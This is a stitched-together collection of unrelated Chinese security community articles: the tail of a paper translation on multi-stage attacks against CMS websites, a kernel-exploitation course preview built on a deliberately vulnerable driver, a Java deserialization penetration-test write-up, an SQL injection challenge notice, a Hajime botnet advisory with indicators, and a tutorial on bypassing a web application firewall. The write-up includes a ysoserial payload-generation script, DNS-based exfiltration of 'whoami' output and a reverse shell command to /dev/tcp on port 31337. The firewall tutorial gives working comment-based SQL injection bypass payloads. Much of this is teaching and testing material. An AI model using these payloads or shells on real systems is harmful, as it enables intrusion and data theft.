但是，并非所有的多阶段攻击都会主动隐藏它们的存在。从表的第5行可以看出，超过60％的受感染WordPress网站试图通过遵循流行的隐藏文件/目录或伪装文件的方法来逃避防御。相反，流行的防御规避技术在属于其他CMS的受感染网站中并未广泛看到。这可能归因于网站所有者的技术性较弱，因为攻击者在攻击过程中没有将资源用于主动隐藏。
这些攻击中有很大一部分（8％）使用混淆技术，使网站所有者更难对注入的代码进行逆向工程。由于一旦检测到任何可疑活动的痕迹就无法立即将托管网站撤下，因此当事件响应可以理解混淆代码时，对手将已经在网站中完成了侦察（如图4所示），并实现了目标。进行了攻击清除。
### C.入侵窗口
从该数据集中最重要的发现是基于CMS的网站遭受破坏的时间。一旦受到攻击，多阶段攻击就会在网站中长期存在。上图显示了每个受损CMS的TARDIS输出中的入侵窗口分布。请注意，这是简化的箱形图版本，以提高可读性。该图未显示：WordPress网站上超过20％的攻击持续300到1694天。如图所示，从WordPress的箱形图的中位数可以看出，WordPress网站中的大多数攻击持续了40天左右。
相比之下，在Joomla和PivotX中，攻击的中位时间较长，介于75到85天之间。在4000多个WordPress网站中，这些攻击持续3个月到4.5年之间的任何时间。属于此四分位数（前25％）的多阶段攻击对网站访问者构成了最大威胁：丢弃的文件只是在网站中潜伏着，其中许多目的是利用网站访问者。
在所有CMS中，Joomla的平均多阶段攻击持续时间最长，平均持续3个月。此外，对于使用更流行的CMS（例如WordPress，Joomla和Drupal）的网站，攻击者可能会持续更长的时间，因为对手看到了更大的机会基础，并从其资源投资中获得了更好的回报。相反，不那么受欢迎的CMS，TYPO3
CMS和Prestashop，不仅受到持久性攻击的攻击较少，而且这些攻击也不能持久存在。这可以归因于较高的机会成本和较低的针对针对较不受欢迎的CMS的攻击的回报。
### D.现有的缓解攻击框架
回想一下，当前的行业标准是结合集成AV的幼稚“备份和还原”模型。
AV一旦检测到危害，就会提示网站所有者回滚到以前的快照。提取了306,830个网站的数据集的AV报告，并配置了TARDIS，以记录用户发起的回滚和回滚后重新感染的次数。结果列于下表。请注意，TARDIS不了解AV报告，仅依赖其攻击模型进行时间轴重建。表中显示，AV不能识别几乎所有受感染的网站，因此再次证实了本文的主张，即AV签名仅捕获知名的恶意软件，并且它们无法检测到隐匿的多阶段攻击。
第1列和第2列介绍了CMS平台以及每个CMS中受感染网站的数量。第3列显示了每个CMS触发AV警报的受感染网站的数量。第4列显示了具有AV警报的网站数量，这些网站尝试回滚到以前的版本，以缓解AV识别出的威胁。第5列列出了尝试回滚并保持感染或再次感染的网站的数量。正如预期的那样，AV警报和回滚的分布反映了CodeGuard产品集中CMS的市场份额，认为这是CMS的代表。
回滚：如表所示，非常感到关切的是在被TARDIS识别为长期多阶段攻击的20,591个网站中，只有91个网站看到了AV警报。更重要的是，因为仅当AV向网站所有者警告可疑活动时，才会提醒网站所有者回滚。
AV警报数量如此之少（即少于攻击总数的1％）是“备份和还原”模型被证明无效且这些攻击持续了相当长一段时间的原因。
在触发AV警报的91个网站中，并非全部采取行动。如表所示，在这91个网站中，只有29个尝试回滚到AV警报前的快照，以从攻击中恢复该网站。此外，AV臭名昭著的是会产生导致威胁警报疲劳的虚假警报-真正的AV警报被忽略的另一个原因，这也许可以解释为什么91个网站中只有29个尝试回滚。
再感染：从表可以看出，在29个试图从攻击中恢复的网站中，TARDIS在这些网站的65％以上发现了重新感染。认为这很容易使攻击者感到困惑，无法找到回滚的网站文件，但其原始后门仍然存在。这证实了长期以来一直认为AV不可靠的信念。
它们不仅丢失了绝大多数攻击，而且对AV的强烈依赖也使得现有的“备份和还原”技术在很大程度上无效。这些数字重申了TARDIS设计背后的动机-在夜间备份空间中需要系统的来源技术。使用回滚手动验证了网站，发现直觉是正确的：在每次重新感染的情况下，回滚快照都位于导致重新感染的入侵窗口（由TARDIS标识）内。在所有受感染的网站中，只有10个网站设法回滚到了入侵窗口之外，从而修复了入侵。这证实了TARDIS的来源推断对于受损的网站调查至关重要。
### E.表现
上图显示了TARDIS花费的时间来衡量306,830个网站的所有属性，以及相对于文件大小而言的网站大小。
TARDIS线性评估每个时间快照，以可接受的开销为整个网站提供事件和事件标签的时间表。尽管此开销随网站上文件数量的增加而定（无论这些文件的大小如何），但从图的斜率可以看出，增加幅度很小。TARDIS的最坏情况，即处理1859个快照（平均100,000个空间元素）所花费的最大时间接近3500s。作为一种离线取证技术，认为这是非常合理的。
## 0x02 Case Study
### A.案例研究1：攻击活动的全局视图
除了对单个网站进行调查之外，在商业网站备份平台中部署TARDIS
还可以提供攻击活动演变的全局视图。实验过程中发现了5个不同的WordPress网站在2018年9月至11月之间具有相同的源头演变。
在所有这些网站中，攻击者在5天内使用相似的变相混淆代码注入（O）策略在28个PHP文件中，随后是83个恶意软件实例被丢弃（M），以注入后门功能，然后维持状态（P）大约2个月，最终尝试进行攻击清除（C），以删除这些步骤的所有痕迹。在每种情况下，被丢弃的恶意软件都会禁用所有错误日志记录功能，并从远程服务器（在调查时处于活动状态）获取有效负载，并在受害Web服务器上执行该操作。它还收集输出缓冲区，将其发送回远程服务器，最后重新启用错误日志记录。这些动作被编程为每48小时运行一次。
如图所示，这些网站中的每个网站在相同的持续时间内都呈现出相同的攻击阶段演变和持久性。所有这些网站都属于不同的独特小型企业，它们恰好是在WordPress上构建其网站。一旦第一个WordPress网站（W1413857）遭到攻击，与初始网站完全不相关的另一个WordPress网站（W0697120）在6天后显示出完全相同的注入。
其次是在接下来的10天内，三个网站（W1438887，W1467224，W1532897）中发生了3次其他感染。在所有这五个网站中，混淆代码注入阶段持续5天，恶意软件丢弃阶段持续1天，保持存在51到56天，最后，通过删除所有注入的文件来清除攻击。由于AV无法识别此攻击，因此不会标记任何攻击，并且网站所有者也不会尝试回滚。
将来的部署：目前正在与CodeGuard合作，在其备份框架中在全球范围内部署TARDIS，以检测和跟踪大规模攻击趋势。这就需要扩展TARDIS，以实现跨网站的建模和关联。
### B.案例研究2：“用户友好”远程控制
在一个基于Drupal的网站中，对3个月（2019年2月至2019年4月）的备份进行的调查显示存在以下阶段。
备份站点上集成的AV从未触发警报，使网站所有者对攻击一无所知。
TARDIS识别的入侵窗口显示，攻击者从2019年2月23日开始注入混淆的PHP代码，并在接下来的几天一直保持存在，直到2019年3月3日。从2019年3月4日开始，攻击者丢弃了恶意软件并使用了防御逃避方法：他们伪装了PHP文件作为图标文件，并在隐藏目录中上传了后门外壳。
3月6日，攻击者为后门注入了完整的图形用户界面（GUI），使他们可以完全控制该网站，如下图所示。所有这些文件在网站上保留了一个多月。
2019年4月13日，TARDIS发现攻击者删除了较早注入的恶意软件，以隐藏其先前的足迹。
TARDIS提供的时间轴显示，该网站在3个月的时间内持续存在多阶段攻击活动，并提供了一个折衷窗口（2019年2月23日至2019年4月13日），在该窗口之外可以安全地回滚该网站。手动调查显示，攻击者利用了CVE-2018-7600漏洞，即对Form
API（FAPI）AJAX请求的安全输入不足。请注意，此攻击开始一个月后才修复此漏洞。
## 0x03 Limitations
推断攻击来源的准确性受到备份粒度的限制,当前的行业规范是每晚收集网站备份。已经表明，这足以恢复攻击的时间表。但是，如果快节奏的攻击在两次连续备份之间经历了多个阶段，则TARDIS仅在备份时才可以看到文件。从本质上讲，TARDIS使网站所有者可以在进行备份的粒度（即使TARDIS更准确）与发生攻击时要求进行更深入的手动检查之间进行校准。
随着这些多阶段攻击的发展，TARDIS的空间度量标识规则可能会随着时间而改变。这种发展是可以预料的，并且TARDIS的模块化特性使添加新的空间度量变得很简单。此外，TARDIS的空间度量时间相关性方法应经受时间的考验，因为它是针对单个度量标准而设计的，并且基于多阶段攻击所经历的阶段不变性。
## 0x04 Related Work
Web攻击的大规模研究：已经发表了一些研究，这些研究使用高交互性蜜罐大规模地理解了网络攻击。此外，一些技术试图通过研究托管提供商的角色来评估Web应用程序危害的影响，并通过研究大规模的通知活动来了解响应态势。与TARDIS类似，还发现攻击者在Web服务器上丢弃了大量文件。尽管这些技术专注于针对通用Web应用程序的攻击，但本研究研究了基于CMS的网站（更具体地讲，在生产网站中）的多阶段攻击的传播。研究和TARDIS旨在仅基于每晚网站备份来调查此类多阶段攻击。
因果关系建模：在通过监视系统行为来重建攻击源的过程中，已经取得了重大进展。大多数专注于高级多阶段攻击检测的工作，例如Holmes和Sleuth，都是基于OS审核数据并使用系统调用级别日志进行实时分析的。但是，这些基于日志的细粒度出处跟踪技术需要大量工具，并且CMS托管公司几乎不部署。
TARDIS利用业已存在的标准（夜间备份），通过空间度量的时间相关性和异常值检测对长期的多阶段攻击进行建模。
Web应用程序安全性：为了抢先保护网站免受攻击，最近的研究集中在分析特定类型的攻击，例如广告注入(ad injection)，调查欺诈(survey
scams)，跨站脚本，PHP代码注入，SQL注入，文件包含攻击等。这些研究技术着重于Web应用程序的各个层。但是，由于CMS包含所有这些层的代码，并且已销售给技术含量较低的网站运营商，因此通常不部署针对攻击向量的解决方案。
TARDIS与攻击向量无关，可以调查受到攻击的CMS攻击后。
## 0x05 Conclution
本文使用TARDIS对306个830个独特生产网站上的CMS攻击格局进行了系统研究。针对仅使用随时可用的夜间备份来调查基于CMS的网站中的漏洞的问题，TARDIS提供了一种新颖的来源推断技术，可重构攻击阶段并实现从攻击中的快速恢复。使用代表每个快照的空间量度的时间相关性，TARDIS恢复了折衷窗口和攻击阶段的进展。
TARDIS发现了20,591个长期遭受多阶段攻击的受害者的网站，并且被证明在基于CMS的网站中揭示攻击的准确性很高，而与底层CMS无关。正在与CodeGuard合作，以通知网站所有者并补救已识别的攻击。 | 社区文章 |
# 内核漏洞利用轻松学系列预告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 为什么学？
如果你想在操作系统上 **为所欲为，为所欲为，为所欲为**
重要事情说三遍，那么学习内核漏洞利用，就是你最好的选择。或者你有下列想法，那么通过举一反三，也是可以做到的。
1.获取NT权限，既系统最高权限。
2.制作Rootkit（隐藏进程，网络流量等等），维持系统权限。
3.把杀毒给停了。
4.截获聊天信息。
5.想开发远程Exploit。
## 怎么学？
该系列文章会通过 **漏洞复现，漏洞原理，利用代码，修复方式或防护措施**
四个步骤来学习漏洞知识。在此将会介绍一个HEVD驱动(HackSysExtremeVulnerableDriver)程序来学习内核下的漏洞利用开发和原理。HEVD驱动是一个存在漏洞的驱动程序，我们可以通过这个驱动一站式学习一系列的漏洞触发原因以及修复方式，其中利用程序如图所示。是不是很丰富。那么接下来开始我们的学习吧！
## 该系列由如下内容组成：
1.内核漏洞利用轻松学系列之-环境配置
2.内核漏洞利用轻松学系列之-操作系统知识
3.内核漏洞利用轻松学系列之-驱动入门知识
4.内核漏洞利用轻松学系列之-Stack Overflow 栈溢出漏洞
5.内核漏洞利用轻松学系列之-Stack Overflow GS 栈溢出漏洞
5.内核漏洞利用轻松学系列之-Double Fetch 双重获取漏洞(竞争条件)
6.内核漏洞利用轻松学系列之-Use After Free 释放重用
7.内核漏洞利用轻松学系列之-Type Confusion 类型混淆
8.内核漏洞利用轻松学系列之-Integer Overflow 整数溢出
9.内核漏洞利用轻松学系列之-Pool Overflow 池溢出
10.内核漏洞利用轻松学系列之-Null Pointer Dereference 空指针解引用
11.内核漏洞利用轻松学系列之-Arbitrary Memory Overwrite 任意写
12.内核漏洞利用轻松学系列之-Insecure Kernel File Access
13.内核漏洞利用轻松学系列之-Uninitialized Heap Variable 未初始化堆变量
14.内核漏洞利用轻松学系列之-Uninitialized Stack Variable 未初始化栈变量
15.内核漏洞利用轻松学系列之-32位到64位利用代码转换
16.内核漏洞利用轻松学系列之-防护技术总结
## 资源:
● HackSysExtremeVulnerableDriver (hacksysteam) –
[此处](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver "此处")
● VirtualKD- [此处](http://virtualkd.sysprogs.org/ "此处")
● VirtualKD-Redux（Wmware15.5需要用）- [此处](https://github.com/4d61726b/VirtualKD-Redux "此处")
● OSR驱动加载器 – [此处](https://www.osronline.com/article.cfm?article=157 "此处")
● WINDBG –
[此处](https://down.52pojie.cn/Tools/Disassemblers/%22%E6%AD%A4%E5%A4%84%22)
● VMWARE15.5 + WINDOWS WIN7 SP1 32 –
[Vmware此处](https://www.vmware.com/go/downloadworkstation-cn "此处") [Windows
WIN7 sp1 此处](https://msdn.itellyou.cn/ "此处")
● VMWARE15.5 + WIN10 + VISUAL STUDIO2019 + WDK 10 作为编译环境HEVD驱动 –
[WDK](https://www.vmware.com/go/downloadworkstation-cn "此处") [Windows
WIN10](https://msdn.itellyou.cn/ "此处")
## 环境搭建
1.安装Vmware15.5。
2.在Vmware上安装Windows win7 sp1 32，注意是32位。
3.在win7 sp1上将VirtualKD的target拷贝到目标，运行vminstall.exe安装VirtualKD，安装完毕后出现下图所示。
4.在Vmware上安装Windows10 + WDK 10 +
SDK，注意，WDK必须和SDK兼容，否则安装WDK会提示找不到兼容的SDK，我的SDK和WDK都为10.0.19041.0。从Windows
Vista开始，所有64位版本的Windows都需要驱动程序代码为驱动程序加载数字签名。
5.物理机器上安装Windbg。
6.物理机器打开VirtualKD,会看到下图所示。
7.在物理机器的VirtualKD程序界面上打开debugger path选择好刚安装的Windbg程序。注意Windbg和操作系统位数要一致。
8.重启Win7 sp1，系统会卡在系统登录界面，接下来在物理机器的VirtualKD点击Run
Debugger。物理机会打开Windbg并且连接到Win7 sp1。
8.在WIN10上编译HEVD.sys。打开项目目录\Driver\HEVD\Windows\HEVD.sln，编译前，需要设置项目属性：
8.1 右键-属性-C/C++ – 警告等级 设置为等级3(/W3)
8.2 将警告视为错误 改为 否(/WX-)
8.3 代码生成 -安全检查 改为 禁用安全检查（/GS-）
8.4 链接器 – 将连接器警告视为错误 改为 否（/WX：NO）
9.将编译好的HEVD.sys拷贝到WIN7 SP1，打开OSR驱动加载器，分别点击Register和start Service。
10.Windbg中使用lm查看成功加载的HEVD驱动。
11.在WIN10上编译Exploit\HackSysEVDExploit.sln。编译前需要设置项目属性：C/C++ -> Code generation
-> Runtime Library改为Multi-threaded Debug
(/MTd),这么做是将等待链接库一起打包到程序中。不会因为系统缺少依赖库而提示。
## 实战开始
1.在目标运行HackSysEVDExploit.exe -u -c cmd.exe
成功拿到NT最高权限。是不是很刺激！那么我们继续阅读接下来的章节把！开始你的内核Exp之旅！ | 社区文章 |
在黑盒渗透测试中，我们遇到了一个Java
Web应用程序，它向我们提供了一个登录页面。尽管我们设法绕过了认证机制，但是我们却做不了什么事情。攻击面还是很小，只能篡改一些东西。
## 1.确定入口点
在登录页面中，我注意到每个登录请求都发送了一个隐藏的POST参数：
`<input type="hidden" name="com.ibm.faces.PARAM" value="rO0..." />`
这是个Base64 RO0 （AC
ED的HEX编码）编码的字符串，证实了我们处理的是Base64编码过的Java序列化对象。Java对象实际上是一个未加密的 [JSF
ViewState](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html "JSF
ViewState")。由于反序列化的漏洞以其恶作剧而臭名昭著，所以我开始搞砸了。
## 2.对输入点进行模糊测试
### 2.1一些不太幸运的尝试
此时，我不太确定底层的操作系统。通过ysoserial，我生成了一些有效载荷，将用于ping ip，读取文件或造成响应延迟。这包括：
Linux有效载荷：
ping -c 1 server.local
cat /etc/passwd
sleep 5
Windows有效载荷：
ping -n 1 server.local
type C:\Windows\win.ini
timeout 5
然而没有成功。没有ping或DNS请求到我们的服务器。应用程序始终以HTTP 500内部服务器错误进行响应，并引发了ServletException，但
不提供其他输出信息。服务器马上就响应了，也没有延时。
### 2.2 在输入点进行爆破
由于无法确定哪个有效载荷能够工作，我必须自动化这个过程。我写了一个快速和肮脏的Python脚本，将生成一个包含所有有效载荷的攻击文件。我做了如下一些事情：
· 只选择接受完整操作系统命令的有效负载作为参数。没有必要（目前）支持 所有 这些payload。所以我删除了几个ysoserial有效载荷。
· 一旦有效载荷被触发，我想知道是哪一个payload以及服务器运行的操作系统版本。
· 由于我不想混淆请求（添加对GET，POST，cookies，HTTP
auth等的支持），所以我想用一个换行符分隔的文本文件生成有效载荷，这个文本文件可以作为Burp爆破器的有效载荷的输入文件。
代码如下：
import os
import base64
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + 'n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
generate函数有两个参数：第一个是文件名（例如windows_intruder.txt），第二个是将要执行的命令。我选择了ping我们的服务器IP的命令。应用程序应该ping下面的子域：
`{{OS}}.{{PAYLOAD}}.server.local`
从而确认操作系统和成功的有效载荷。
## 3.开始攻击
### 3.1确认漏洞
我开始生成有效载荷：
用Burp的爆破器发送所有的有效载荷：
并检查我们的服务器上的DNS的查询日志：
[email protected]:-# tail -f /var/log/named/query.log
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#61663 (nix.CommonsCollections1.server.local) : query: nix.CommonsCollections1.server.local IN A -ED (x.x.x.x)
31-Oct-2017 13:37:01.000 queries: info: client y.y.y.y#53844 (nix.CommonsCollections6.server.local) : query: nix.CommonsCollections6.server.local IN A -ED (x.x.x.x)
经过一番爆破，我们取得了一石二鸟的战果：现在我们知道系统是基于Linux的，下面的有效载荷允许我们执行任意代码：CommonsCollections1和CommonsCollections6。
### 3.2提取数据
在尝试创建一个有风险的后端连接（HTTP，TCP等）之前，我决定尝试提取一些数据，从而确认这是一个真正的远程命令执行（IDS解码了base64编码过的值和解析里面的URL也可以发出一个DNS请求。因为它应该触发所有的有效载荷，但是你并没有天天看到有RCE发生
）。使用 CommonsCollections1 小工具，我生成了两个使用以下命令的有效载荷：
`whoami`.exp.server.local
$(whoami).exp.server.local
不幸的是，日志中填充了如下信息：
[email protected]:-# tail -f /var/log/named/query.log
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#56055 (`whoami`.exp.server.local) : query: `whoami`.exp.server.local IN A -ED (x.x.x.x)
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#61636 ($(whoami).exp.server.local) : query: $(whoami).exp.server.local IN A -ED (x.x.x.x)
由于某种原因，命令替换似乎不起作用。经过几次失败的尝试后，我决定去看看CommonsCollections1和CommonsCollections6可用的小工具[点击这里查看](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/
"点击这里查看")。
感谢作者，完整的小工具链作为注释写在了代码中。我们可以很快注意到以下几点：
CommonsCollections1
... SNIP ...
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
CommonsCollections6
... SNIP ...
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
两个有效载荷的shell命令最终由Java的Runtime.exec()执行。我们知道[Runtime.exec()
的行为不像一个普通的shell](http://codewhitesec.blogspot.ro/2015/03/sh-or-getting-shell-environment-from.html "Runtime.exec\(\) 的行为不像一个普通的shell")，
所以我们不得不修改有效载荷。幸运的是，前面提到的文章为我们提供了一个完整的实例。最后的命令应该是这样的：
`sh -c $@|sh . echo ping $(whoami).exp.server.local`
### 3.3获得ROOT权限
我们使用ysoserial手动生成负有效载荷 ：
java -jar ysoserial.jar CommonsCollections1 'sh -c $@|sh . echo ping $(whoami).exp.server.local' | base64 | tr -d "n"
对有效负载进行URL编码并发送出去。让我们再次检查我们的服务器的DNS日志：
[email protected]:-# tail -f /var/log/named/query.log
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#40350 (root.exp.server.local) : query: root.exp.server.local IN A -ED (x.x.x.x)
看起来今天是我们的幸运日啊。我们得到了一个远程的未经验证的root命令执行。并不是说我们没有见过这个。
当然，我们抓住了这次机会，然后试图获得一个反向的shell：
java -jar ysoserial.jar CommonsCollections1 'sh -c $@|sh . echo bash -i >& /dev/tcp/x.x.x.x/31337 0>&1' | base64 | tr -d "n"
我会让你猜一猜看，上面的命令是否执行成功了；）。
## 4.一点总结
在利用Java反序列化漏洞时，我会列举一些需要注意的事项：
· 经过几次失败之后，不要放弃。Java反序列化的利用是相当棘手的，确保在继续之前用尽所有的可能性（有效载荷，命令）。
· 向外部通信一般都是不行的。有时你必须要有[创意](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/ "创意")。
·
请确保你没有忘记对由ysoserial生成的有效负载进行URL编码。Burp的爆破器需要URL编码，Burp的重放工具不需要编码所有必要的字符（即使你把它粘贴在“参数”选项卡中）。
· 请查看Burp Suite的Java反序列化插件。有些将会被动地识别序列化的Java对象，有些将帮助你进行漏洞利用。
本文翻译自：<https://securitycafe.ro/2017/11/03/tricking-java-serialization-for-a-treat/>，如果转载，请注明来源于嘶吼： <http://www.4hou.com/vulnerable/8486.html>
"<http://www.4hou.com/vulnerable/8486.html>") | 社区文章 |
本月挑战项目：SQL注入绕过
挑战环境：
绑host 120.55.233.202 test1.aliyundemo.com
存在注入点的URL <http://test1.aliyundemo.com/sqli1/index.php?id=1>
判定标准：
成功读取到users表内的用户密码
奖励:
每个不重复的有效绕过方法奖励2000元，先到先得。提交到先知平台-众测-选择厂商“其他”。
小伙伴们快来战。 | 社区文章 |
# 8291端口告警事件简报
##### 译文声明
本文是翻译文章，文章原作者 RootKiter，文章来源：blog.netlab.360.com
原文地址：<https://blog.netlab.360.com/quick-summary-port-8291-scan-cn/>
译文仅供参考，具体内容表达以及含义原文为准。
## 结论
本次8291扫描事件由更新后的Hajime僵尸网络引起，在新版本中，有两个新的特性：
1. 利用对8291端口的扫描来确定存在’Chimay Red’ Stack Clash Remote Code Execution漏洞MikroTik设备。
2. 利用上述漏洞进行蠕虫传播。
## 起因
北京时间3月25日0点前后，互联网上8291端口出现大量扫描告警。
下午2点左右，蜜罐数据显示该告警可能和 Hajime
有关，初步判断（UPX壳特有幻数+脱壳后样本特征）后，确认该样本为Hajime样本。并在其atk模块中发现了“’Chimay Red’ Stack
Clash Remote Code Execution”漏洞相关攻击代码。<https://www.exploit-db.com/exploits/44283/>
## 感染过程
更新后的Hajime除已有传播方式外还可以通过利用“’Chimay Red’ Stack Clash Remote Code
Execution”漏洞的方式进行蠕虫式传播，其传播过程大致分为两步：
1. 找到符合利用条件的MikroTik设备：挑选方法为探测8291端口的开放情况，在这一步中还会顺便探测出设备web端口（80,81,82,8080,8081,8082,8089,8181,8880）的开放情况，为后面漏洞利用做好铺垫。
2. 检查设备的版本号并发送Exploit，一旦漏洞成功触发便会执行随Exploit携带的Shellcode片段，该片段的具体功能就是获取Hajime母体并执行。
## 扫描源规模
截止本日中午（北京时间2018-03-27
12:36），从darknet中共看到861,131个扫描源IP（72小时内）。并试图从这样的一个视角评估当前网络上整体情况。
我们认为，互联网中目前至少有860k 个IP（不排除由于设备重启等情况导致的一个设备对应多个IP的可能，同时也会有一些噪音比如安全人员的IP等）正在对
8291 端口发起扫描，它们很大概率已被Hajime感染，可能是从（’Chimay Red’ Stack Clash Remote Code
Execution）漏洞攻陷的，也可能是通过其他方式（[参考我们上一篇关于Hajime的分析报告](https://blog.netlab.360.com/hajime-status-report/)）被攻陷的。
## 扫描源分布
从上图不难发现扫描源的前三甲分别为：巴西（585k），伊朗（51.8k），俄罗斯（26.4k）。
## 修复方案
1. 防火墙侧屏蔽 8291 端口探测。
2. MikroTik已发布更新，将已有MikroTik升级到最新版本。
## IOC
06B4D50254C6C112437A3ED893EF40B4 .i.mipseb
93A1A080FCDE07E512E7485C92861B69 atk.mipseb
fc834c015b357c687477cb9116531de7 atk.mipseb.upx.unpack
## 参考
1. [https://scan.netlab.360.com/#/dashboard?tsbeg=1521648000000&tsend=1522252800000&dstport=8291&toplistname=srcip&topn=10&sortby=sum](https://scan.netlab.360.com/#/dashboard?tsbeg=1521648000000&tsend=1522252800000&dstport=8291&toplistname=srcip&topn=10&sortby=sum)
2. [https://forum.mikrotik.com/viewtopic.php?f=2&t=132368&sid=7f731eb96b119d6e9e1a90227270fdd4](https://forum.mikrotik.com/viewtopic.php?f=2&t=132368&sid=7f731eb96b119d6e9e1a90227270fdd4)
3. <https://www.exploit-db.com/exploits/44283/>
4. <https://blog.netlab.360.com/hajime-status-report/>
5. <https://blog.netlab.360.com/hajime-status-report-en/> | 社区文章 |
# 前言
SQL注入并不是很精通，通过实战绕过WAF来进行加强SQL注入能力，希望对正在学习的师傅能有一丝帮助。
# 安装
## 安装前言
我是本地搭建的环境进行测试的
环境是`windows11+phpstudy2018+sqli-labs`
phpstudy的安装我不再复述，这里简单说一下安全狗插件和安全狗的安装。
## 过程
在安装安全狗之前，一定要先做好安装`apache2.4`这一项，否则可能要浪费半个下午的时间来整(受害者本人自述了属于是)，因为在提前安装好这个后，再安装安全狗，就会出现如下图所示的情况，这时候就很容易进行配置了
而如果你后安装apache2.4，出现Apache插件安装失败的可能性极大，那我们要怎么安装apache2.4呢，很简单，首先找到你apache下的bin路径，我的是`"D:\phpStudy\PHPTutorial\Apache\bin"`，然后进入cmd中(以管理员身份运行)
C:\Windows\system32>d:
D:\>cd D:\phpStudy\PHPTutorial\Apache\bin
D:\phpStudy\PHPTutorial\Apache\bin> httpd -k install -n apache2.4
//安装插件
此时插件的安装就完成了，直接去官网找Apache版本的安全狗
下载到本地即可，此时进行安装(不要开启phpstudy)，此时选择好安装路径后就会出现配置界面，它安装过插件的话一般是会自动检测的
此时直接点击确定就好了，然后打开就会发现插件是已安装的
此时看安全狗这个网站安全狗与防护总开关是否都开启，只有都开启了才有效，此时再去打开phpstudy，一般他就应该是自己变成系统服务了，如果没变的话就再选择一下即可
然后此时的话这个防护网站变成1个就说明配置好了
去访问网站就可以发现安全狗生效了
# 构造1=1
## 方法一
首先这里的话是尝试一个1=1，发现是不可以的
更换成true=true进行尝试
仍然不行，此时发现当and和后面没有空格的时候就会报错
我们这里尝试用/* _/来充当注释符
发现还是被过滤了，此时我们就利用bp来进行fuzz，抓包后在/_*/中添加变量（为爆破做准备）
选择暴力破解，字符集就选`/!*`进行测试即可
得到结果
发现很多都可以充当空格来进行绕过，我们随意挑选一个进行尝试，构造payload如下
id=1' and/*////*/1 --+
成功绕过
## 方法二
当然常见的还有一个内联注释符，就是`/*!00000*/`这种的，用实例来解释是最好理解的
mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.5.53 |
+-----------+
1 row in set (0.00 sec)
mysql> select /*!999991*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
mysql> select /*!000001*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!505531*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!505541*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
这种注释在mysql中叫做内联注释，如果没有接版本号时，会直接执行里面内容。当!后面接数据库版本号时，如果自身版本号(上述例子中的5.5.53)大于等于字符数(例如上述例子中的99999和00000)，就会将注释中的内容执行，否则就会当做注释来处理。
那么这里的话，我们就想构造1=1，就可以利用它来进行绕过，我们构造如下`/*!000001*/=/*!000001*/`语句尝试进行绕过
可以发现成功绕过了
# order by 绕过
直接利用的话可以发现是不可以的
由1=1的构造思路，我们尝试构造空格来进行绕过，构造payload如下
id=1' order/*////*/by 3 --+
id=1' order/*////*/by 4 --+
成功判断出来了字段数为3
# 联合查询
首先的话是想利用内联注释来进行一个绕过，因为单独的一个union和单独的select都是可以的，此时我就想利用它内联注释字符数大于版本号时将其内语句作为注释来进行一个绕过，
测试过程如下
选择暴力破解，设置0-9依次进行爆破
而后得到结果
发现这种利用垃圾字符的内联注释方式无法再次绕过，此时我们去尝试进行其他方法，想到之前的fuzz/**/中间加东西可以绕过，不妨试一下这种，设置如下
选择暴力破解，将字符集进行更换即可
得到结果
发现有很多可以绕过的，随便选一个来进行测试，构造payload如下
id=-1' union/*/!*!**/select 1,2,3--+
可以发现正常执行了，说明绕过了，这里再给出几个payload，师傅们可以自行测试
id=-1' union/*//--**/select 1,2,3--+
id=-1' union/*/!--**/select 1,2,3--+
id=-1' union/*/-*!!*/select 1,2,3--+
# 爆库
## 方法一(/**/方法)
此时直接去将3变成database()会被绕过，此时我是想用`/*xxx*/()`这种方式来进行绕过，利用bp设置如下
而后如下设置暴力破解
得到结果
可以发现有很多方式，我们随便挑选一个进行测试
id=-1' union/*/!*!**/select 1,2,database/*///-*/()--+
成功绕过
## 方法二(`/*!*/`内联注释法)
我们设置payload为`/*!()*/`这种，利用bp在括号前面加上五个数字，依次来检验哪个可以进行绕过，具体设置如下
而后选暴力破解，设置如下
得到结果
随机取出一个进行测试，构造payload如下
id=-1' union/*/!*!**/select 1,2,database/*!20553()*/--+
成功绕过
# 爆表
正常的话语句一般是这个样子
group_concat(table_name) from information_schema.tables where table_schema=database()
那么这里的话我们测试过后就会发现information_schema被过滤了，它俩只要在一起挨着就会被过滤
同时呢，我们也发现利用from的时候也会被过滤
对这两个进行分别fuzz的话比较麻烦，而且将两者进行一起用时可能会出现仍然被过滤的情况，因此此时的话就自然的想到了内联注释这种方法，可不可以用这种方法来进行绕过呢，我们先尝试一下
